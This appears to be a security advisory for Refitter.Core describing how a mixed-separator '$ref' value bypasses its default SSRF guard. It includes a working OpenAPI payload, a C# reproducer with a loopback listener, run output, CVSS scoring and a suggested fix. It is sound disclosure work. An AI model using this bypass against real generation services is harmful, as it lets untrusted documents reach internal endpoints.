# GHSA-5W8X-VQHX-3JRH: Mixed-Separator OpenAPI References Bypass Refitter's Default SSRF Guard

- Database: GitHub
- Severity: medium (stated by ghsa, no CVSS score)
- Published: 2026-11-21
- Modified: 2026-11-21

## Affected versions

- Refitter.Core (NuGet): through 2.4.0
- Refitter (NuGet): through 2.4.0
- Refitter.MSBuild (NuGet): through 2.4.0
- Refitter.SourceGenerator (NuGet): through 2.4.0

## Description

# Mixed-Separator OpenAPI References Bypass Refitter's Default SSRF Guard

## Summary

Refitter.Core's default remote-reference guard can be bypassed by an OpenAPI document whose response schema `$ref` uses mixed slash and backslash separators before an HTTP authority. `PathUtilities.IsHttp` recognizes only literal `http://` and `https://` prefixes, so the guard treats the value as a local path while the downstream resolver follows it as HTTP. On the tested revision, a supported `RefitGenerator.CreateAsync` call fetched an attacker-selected schema and incorporated its marker into generated C# even though remote references were left disabled; the canonical `http://` control made no request and was blocked. This is CWE-918 and crosses Refitter's intended reference-validation boundary.

## Technical Details

The supported generation path starts at `RefitGenerator.CreateAsync`, which passes the caller's local OpenAPI path to `OpenApiDocumentFactory.CreateAsync`. The factory invokes `ReferenceGuard.ValidateAsync` before loading the document and its referenced files. For a local document, the guard classifies each reference with `PathUtilities.IsHttp`; that method returns true only when the string starts with the exact prefixes `http://` or `https://`, using case-insensitive comparison. A reference written as `http:/\\127.0.0.1:<port>/schema.json#/components/schemas/RemotePayload` does not satisfy either check. It therefore enters the local-reference path, while the later resolver interprets the mixed separators as an HTTP URL and sends the request observed by the proof.

`RefitGeneratorSettings.AllowRemoteReferences` is false by default and is documented as the protection against generation-time remote-reference requests. The proof does not set that option or change any operator-selected path, handler, or dependency. The attacker controls only the OpenAPI document and its `$ref` value. The violated invariant is that every reference normalized by the downstream resolver to an HTTP URL must be recognized and rejected by the guard when remote references are disabled.

The root cause is URI classification before resolution: the guard tests a literal prefix, while the resolver accepts a broader separator spelling. This is materially different from the previously reported case-colliding sibling-file issue, where `ReferenceGuard` skips a distinct file because its visited set uses `OrdinalIgnoreCase`; that issue and this one have separate bypass branches and fix surfaces.

## PoV

The minimal OpenAPI document is a valid 3.0.3 document with a response-reachable schema reference. The only attacker-controlled mutation is the reference string shown below; the listener port is ephemeral.

~~~json
{
  "openapi": "3.0.3",
  "info": { "title": "Mixed Separator Probe", "version": "1.0" },
  "paths": {
    "/probe": {
      "get": {
        "operationId": "GetProbe",
        "responses": {
          "200": {
            "description": "ok",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "http:/\\\\127.0.0.1:<port>/schema.json#/components/schemas/RemotePayload"
                }
              }
            }
          }
        }
      }
    }
  }
}
~~~

The falsifying control changes only that value to `http://127.0.0.1:<port>/schema.json#/components/schemas/RemotePayload`. Both inputs use the same listener and the same valid response body; the control therefore tests the guard decision rather than a malformed-document error.

## PoC

From a checkout of revision `bf77ef633cd182563748fd7828e2d06bb24e1dd5`, save the project and program in Appendix A under `repro/mixed_separator_probe/`, then run:

~~~sh
dotnet run --project repro/mixed_separator_probe/mixed_separator_probe.csproj --configuration Release -- attack1
dotnet run --project repro/mixed_separator_probe/mixed_separator_probe.csproj --configuration Release -- control
~~~

The tested environment used the pinned .NET SDK image `mcr.microsoft.com/dotnet/sdk@sha256:65f3c7c6a25a239ab3e6719f2896147e7b68242ff2d8818dd70498bde6ef8bea` on a case-sensitive Linux filesystem. Build warnings are omitted below and the ephemeral port varies.

The vulnerable spelling produced this output:

~~~text
mode=attack1
reference=http:/\\127.0.0.1:44165/schema.json#/components/schemas/RemotePayload
status=generated
request_count=1
request_line=GET /schema.json HTTP/1.1
remote_marker=True
generated_remote_payload=True
~~~

The canonical control produced this output (the temporary directory name and port are run-specific):

~~~text
mode=control
reference=http://127.0.0.1:38833/schema.json#/components/schemas/RemotePayload
status=exception:ReferenceResolutionException:Remote '$ref' "http://127.0.0.1:38833/schema.json#/components/schemas/RemotePayload" in "/tmp/refitter-mixed-separator-8d5aa4a1b5ab48569a55f6788ccfd199/root.json" was blocked. Remote reference resolution is disabled by default; pass --allow-remote-refs (or set allowRemoteReferences: true) to enable it.
request_count=0
request_line=<capture-error>
remote_marker=False
~~~

The attack therefore crosses the shipped generator's network boundary and consumes the fetched schema, while the canonical form is rejected before any request.

## Impact

The demonstrated base assessment is `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N`, scoring 4.7 Medium. An ordinary untrusted submitter supplies an OpenAPI document and causes the generation worker to make a request to the authority embedded in `$ref`; the proof establishes low confidentiality impact for that network boundary, but does not claim a real internal endpoint or universal output disclosure.

For a supported generation service in which (1) untrusted submitters can upload OpenAPI documents, (2) the worker can reach a highly confidential internal HTTP schema endpoint, and (3) generated source is returned to the submitting user, the fetched schema is incorporated into that returned source. With `CR:H/MC:H`, the complete conditional vector is `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N/CR:H/MC:H`, scoring 9.5 Critical environmental. The requested Critical label applies only to that deployment condition; a maintainer may use the 4.7 Medium base rating for deployments without those conditions.

The proof uses a loopback listener and an attacker-controlled marker. It does not access a real internal service, establish disclosure outside the stated generation-service deployment, or demonstrate code execution, integrity impact, or availability impact.

## Suggested Fix

Parse and normalize the reference as a URI before deciding whether it is remote, and make the guard's classification use the same normalization rules as the downstream resolver. When `AllowRemoteReferences` is false, reject every normalized `http` or `https` reference, including mixed separator spellings, before any resolver or file-path fallback runs. Add regression tests for both mixed spellings, the canonical blocked control, a nested response-schema `$ref`, a listener asserting zero requests, and the default-false setting. Keep tests for ordinary local references and for case-distinct files so the URI-classification fix does not regress recursive validation.

## Affected Package/Versions

- Package: `Refitter.Core` (NuGet).
- Vulnerable version range: `2.4.0`.
- Tested source revision: `bf77ef633cd182563748fd7828e2d06bb24e1dd5`.
- No patched version is identified, and no broader version range is asserted. The proof executes the pinned source revision; other releases were not assessed in this report.

## Advisory History

GHSA-x6w4-f264-3vvr / CVE-2026-63184 concerned unrestricted references and was addressed by PR #1173; it does not cover this separator-classification branch. GHSA-4f49-pm8q-mx4f and PR #1392 concern escaped JSON/YAML `$ref` keys and values; the reference here uses ordinary syntax and instead relies on a disagreement between URI classification and resolution. The existing report titled “Case-Colliding OpenAPI References Bypass Refitter's Default SSRF Guard” demonstrates a different visited-set collision between `Model.json` and `model.json`; it does not exercise mixed separators. The submitted, ready-for-review, and completed-but-unsubmitted report inventory checked for this target contained no exact mixed-separator URI-classification finding. No public advisory, issue, or patch matching this bypass was identified.

## References

- [PathUtilities.IsHttp at the tested revision](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Document/PathUtilities.cs#L5-L9)
- [RefitGenerator.CreateAsync and document loading](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Pipeline/RefitGenerator.cs#L23-L60)
- [OpenApiDocumentFactory validation before loading](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Document/OpenApiDocumentFactory.cs#L70-L105)
- [ReferenceGuard local-reference validation](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Document/ReferenceGuard.cs#L151-L170)
- [Remote references disabled by default](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Settings/RefitGeneratorSettings.cs#L43-L47)
- [GHSA-x6w4-f264-3vvr](https://github.com/christianhelle/refitter/security/advisories/GHSA-x6w4-f264-3vvr) and [PR #1173](https://github.com/christianhelle/refitter/pull/1173)
- [GHSA-4f49-pm8q-mx4f](https://github.com/christianhelle/refitter/security/advisories/GHSA-4f49-pm8q-mx4f) and [PR #1392](https://github.com/christianhelle/refitter/pull/1392)
- [Refitter.Core 2.4.0 on NuGet](https://www.nuget.org/packages/Refitter.Core/2.4.0)
- [FIRST CVSS v3.1 specification](https://www.first.org/cvss/v3-1/specification-document)

## Appendix A: Reproducer Files

`repro/mixed_separator_probe/mixed_separator_probe.csproj`

~~~xml
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net11.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <ProjectReference Include="../../src/Refitter.Core/Refitter.Core.csproj" />
  </ItemGroup>
</Project>
~~~

`repro/mixed_separator_probe/Program.cs`

~~~csharp
using System.Net;
using System.Net.Sockets;
using System.Text;
using Refitter.Core;

if (args.Length < 1)
{
    Console.Error.WriteLine("usage: mixed_separator_probe <attack1|control>");
    return 2;
}

var mode = args[0];
var listener = new TcpListener(IPAddress.Loopback, 0);
listener.Start();
var port = ((IPEndPoint)listener.LocalEndpoint).Port;
var requestTask = CaptureRequestAsync(listener);
var reference = mode switch
{
    "attack1" => $"http:/\\\\127.0.0.1:{port}/schema.json#/components/schemas/RemotePayload",
    "control" => $"http://127.0.0.1:{port}/schema.json#/components/schemas/RemotePayload",
    _ => throw new ArgumentException($"unknown mode {mode}")
};

var work = Path.Combine(Path.GetTempPath(), "refitter-mixed-separator-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(work);
var specPath = Path.Combine(work, "root.json");
var json = $$"""
{
  "openapi": "3.0.3",
  "info": { "title": "Mixed Separator Probe", "version": "1.0" },
  "paths": {
    "/probe": {
      "get": {
        "operationId": "GetProbe",
        "responses": {
          "200": {
            "description": "ok",
            "content": {
              "application/json": {
                "schema": { "$ref": "{{reference}}" }
              }
            }
          }
        }
      }
    }
  }
}
""";
await File.WriteAllTextAsync(specPath, json);

string status;
string generated = string.Empty;
try
{
    var settings = new RefitGeneratorSettings
    {
        OpenApiPath = specPath,
        Namespace = "MixedSeparatorProbe",
        AllowRemoteReferences = false,
        GenerateClients = true,
        GenerateContracts = true,
        GenerateXmlDocCodeComments = false,
        AddAutoGeneratedHeader = false
    };
    var generator = await RefitGenerator.CreateAsync(settings);
    generated = generator.Generate();
    status = "generated";
}
catch (Exception ex)
{
    status = $"exception:{ex.GetType().Name}:{ex.Message.Replace('\n', ' ')}";
}

listener.Stop();
var request = await requestTask;
Console.WriteLine($"mode={mode}");
Console.WriteLine($"reference={reference}");
Console.WriteLine($"status={status}");
Console.WriteLine($"request_count={request.Count}");
Console.WriteLine($"request_line={request.Line}");
Console.WriteLine($"remote_marker={generated.Contains("REMOTE_SCHEMA_CANARY", StringComparison.Ordinal)}");
var generatedRemotePayload = generated.Contains("RemotePayload", StringComparison.Ordinal);
if (generated.Length > 0)
    Console.WriteLine($"generated_remote_payload={generatedRemotePayload}");
return 0;

async Task<(int Count, string Line)> CaptureRequestAsync(TcpListener tcp)
{
    try
    {
        var accept = tcp.AcceptTcpClientAsync();
        var completed = await Task.WhenAny(accept, Task.Delay(TimeSpan.FromSeconds(8)));
        if (completed != accept)
            return (0, "<timeout>");
        using var client = await accept;
        using var stream = client.GetStream();
        var buffer = new byte[8192];
        var readTask = stream.ReadAsync(buffer).AsTask();
        var readCompleted = await Task.WhenAny(readTask, Task.Delay(TimeSpan.FromSeconds(3)));
        if (readCompleted != readTask)
            return (1, "<read-timeout>");
        var count = await readTask;
        var requestText = Encoding.ASCII.GetString(buffer, 0, count);
        var line = requestText.Split("\r\n", StringSplitOptions.None)[0];
        var body = "{\"openapi\":\"3.0.3\",\"info\":{\"title\":\"Remote\",\"version\":\"1.0\"},\"components\":{\"schemas\":{\"RemotePayload\":{\"type\":\"object\",\"description\":\"REMOTE_SCHEMA_CANARY\",\"properties\":{\"canary\":{\"type\":\"string\"}}}}}}";
        var bodyBytes = Encoding.UTF8.GetBytes(body);
        var response = $"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {bodyBytes.Length}\r\nConnection: close\r\n\r\n";
        var responseBytes = Encoding.ASCII.GetBytes(response).Concat(bodyBytes).ToArray();
        await stream.WriteAsync(responseBytes);
        await stream.FlushAsync();
        return (1, line);
    }
    catch
    {
        return (0, "<capture-error>");
    }
}
~~~

## References

- https://github.com/christianhelle/refitter/security/advisories/GHSA-5w8x-vqhx-3jrh

Page: https://cve.now/GHSA-5W8X-VQHX-3JRH

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
